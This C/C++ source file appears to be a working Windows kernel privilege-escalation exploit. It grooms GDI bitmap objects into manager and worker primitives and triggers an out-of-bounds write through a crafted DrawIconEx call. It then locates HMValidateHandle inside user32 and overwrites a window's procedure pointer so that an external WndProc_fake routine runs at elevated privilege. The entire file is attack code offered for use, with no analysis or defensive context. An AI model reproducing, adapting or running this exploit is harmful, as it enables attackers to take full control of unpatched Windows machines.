#include #include // Uncomment this line to include debug output //#define DEBUGTRACE #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) static void real_dprintf(char *format, ...) { va_list args; char buffer[1024]; va_start(args, format); vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args); //strcat_s(buffer, sizeof(buffer), "\r\n"); OutputDebugStringA(buffer); va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/ // one should always call va_end in the same function one calls va_start. } #else #define dprintf(...) #endif extern "C" NTSTATUS WndProc_fake(DWORD hWnd, DWORD msg, DWORD wParam, DWORD lParam); typedef struct _HANDLEENTRY { PVOID phead; PVOID pOwner; BYTE bType; BYTE bFlags; WORD wUniq; } HANDLEENTRY, *PHANDLEENTRY; typedef struct _SERVERINFO { WORD wRIPFlags; WORD wSRVIFlags; WORD wRIPPID; WORD wRIPError; ULONG cHandleEntries; } SERVERINFO, *PSERVERINFO; typedef struct _SHAREDINFO { PSERVERINFO psi; PHANDLEENTRY aheList; ULONG HeEntrySize; } SHAREDINFO, *PSHAREDINFO; typedef struct _LARGE_STRING { ULONG Length; ULONG MaximumLength : 31; ULONG bAnsi : 1; PVOID Buffer; } LARGE_STRING, *PLARGE_STRING; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PVOID Ldr; PVOID ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; } PEB, *PPEB; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; }TEB, *PTEB; PBYTE pManagerObj = nullptr; PBYTE pWorkerObj = nullptr; HBITMAP hManager = 0; HBITMAP hWorker = 0; #ifdef _WIN64 typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type); #else typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type); #endif lHMValidateHandle pHmValidateHandle = NULL; BYTE pvdata[0x70000]; BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { dprintf("[-] Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { dprintf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { dprintf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; } unsigned int addr = *(unsigned int *)((unsigned int)pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE; } int exploit(unsigned int xleft_offset, unsigned int oob_offset) { // Post KB (default) unsigned int xleft_off = 0x8c0; unsigned int oob_off = 0x240; if (xleft_offset) { xleft_off = xleft_offset; } if (oob_offset) { oob_off = oob_offset; } dprintf("[+] Starting with offsets xleft = %p, oob = %p\n", xleft_off, oob_off); LoadLibraryA("user32.dll"); HDC exploit_dc = CreateCompatibleDC(0x0); PBYTE pExpBitmapObj = 0; HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x51500, 0x100); dprintf("[+] hExploitBit Handle address: %p\n", hExploitBit); PTEB Teb = NtCurrentTeb(); PPEB Peb = Teb->ProcessEnvironmentBlock; if (Peb == NULL) { return FALSE; } dprintf("[+] Peb Pointer address : %p\n", Peb); PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8); if (GdiSharedHandleTable == NULL) { return FALSE; } dprintf("[+] GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable); pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff)); dprintf("[+] dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj); PBYTE oob_target =(PBYTE)((DWORD64)pExpBitmapObj & 0xfffffffffff00000) + 0x0000000100000000; dprintf("[+] oob_target address: %p\n", oob_target); HDC alloc_dc = CreateCompatibleDC(0x0); DWORD64 extra_alloc = 0; while (true) { HBITMAP hBitMap = CreateCompatibleBitmap(alloc_dc, 0x6f000, 0x8); PBYTE pBitMapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hBitMap) & 0xffff)); if (pBitMapObj == 0) { dprintf("[-] Ran out of memory allocating Bitmaps"); return 1; } if ((pBitMapObj >= oob_target) && (((DWORD64)pBitMapObj & 0x0000000000070000) == 0x70000)) { pManagerObj = pBitMapObj; hManager = hBitMap; dprintf("[+] Find hManager = %p\n", pManagerObj); } if (pManagerObj > 0) { if (extra_alloc == 1) { pWorkerObj = pBitMapObj; hWorker = hBitMap; dprintf("[+] Find hWorker = %p\n", pWorkerObj); } if (extra_alloc > 1) { break; } extra_alloc += 1; } } dprintf("[+] GetBitMapBits/Reading using oob_target...\n"); SelectObject(exploit_dc, hExploitBit); //0xfffffffffebffffc dprintf("[*] TriggerExploit\n"); DrawIconEx(exploit_dc, xleft_off, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1); dprintf("[*] Creating ExploitWnd\n"); if (!FindHMValidateHandle()) { dprintf("[!] Failed to locate HmValidateHandle, exiting\n"); return 1; } WNDCLASSEX wcx = {}; wcx.cbSize = sizeof(WNDCLASSEX); wcx.lpfnWndProc = DefWindowProc; wcx.lpszClassName = L"hongye"; RegisterClassEx(&wcx); HWND hExploitwnd = CreateWindowExW(0, L"#32772", NULL, WS_MINIMIZE | WS_DISABLED, 0, 0, 0, 0, NULL, NULL, NULL, NULL); if (hExploitwnd == NULL) { dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError()); return -1; } ULONG_PTR off_tagWND_pself = 0x20; char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hExploitwnd, 1); ULONG_PTR tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself); dprintf("[*] tagWND: 0x%p\n", (void*)tagWND); //ULONG cb = 0x6fe18; ULONG cb = (ULONG)(pWorkerObj + 0x50 - (pManagerObj + oob_offset)); dprintf("[*] cb 0x%p\n", cb); //void* pvbits = //malloc(cb + sizeof(ULONG_PTR)); void* pvbits = pvdata; dprintf("[*] hManager 0x%p\n", hManager); dprintf("[*] hWorker 0x%p\n", hWorker); DWORD dwRet = 0; dwRet = GetBitmapBits(hManager, cb, pvbits); if (!dwRet) { dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError()); } *(PULONG_PTR)((PBYTE)pvbits + cb) = (ULONG_PTR)tagWND + 0x90; dwRet = SetBitmapBits(hManager, cb + sizeof(ULONG_PTR), pvbits); if (!dwRet) { dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError()); } ULONG_PTR data = (ULONG_PTR)WndProc_fake; ULONG_PTR orgdata = 0; dwRet = GetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata); if (!dwRet) { dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError()); } dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&data); if (!dwRet) { dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError()); } SendMessage(hExploitwnd, WM_NULL, NULL, NULL); //Cleanup dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata); if (!dwRet) { dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError()); } dprintf("[+] Completed!\n"); return 0; }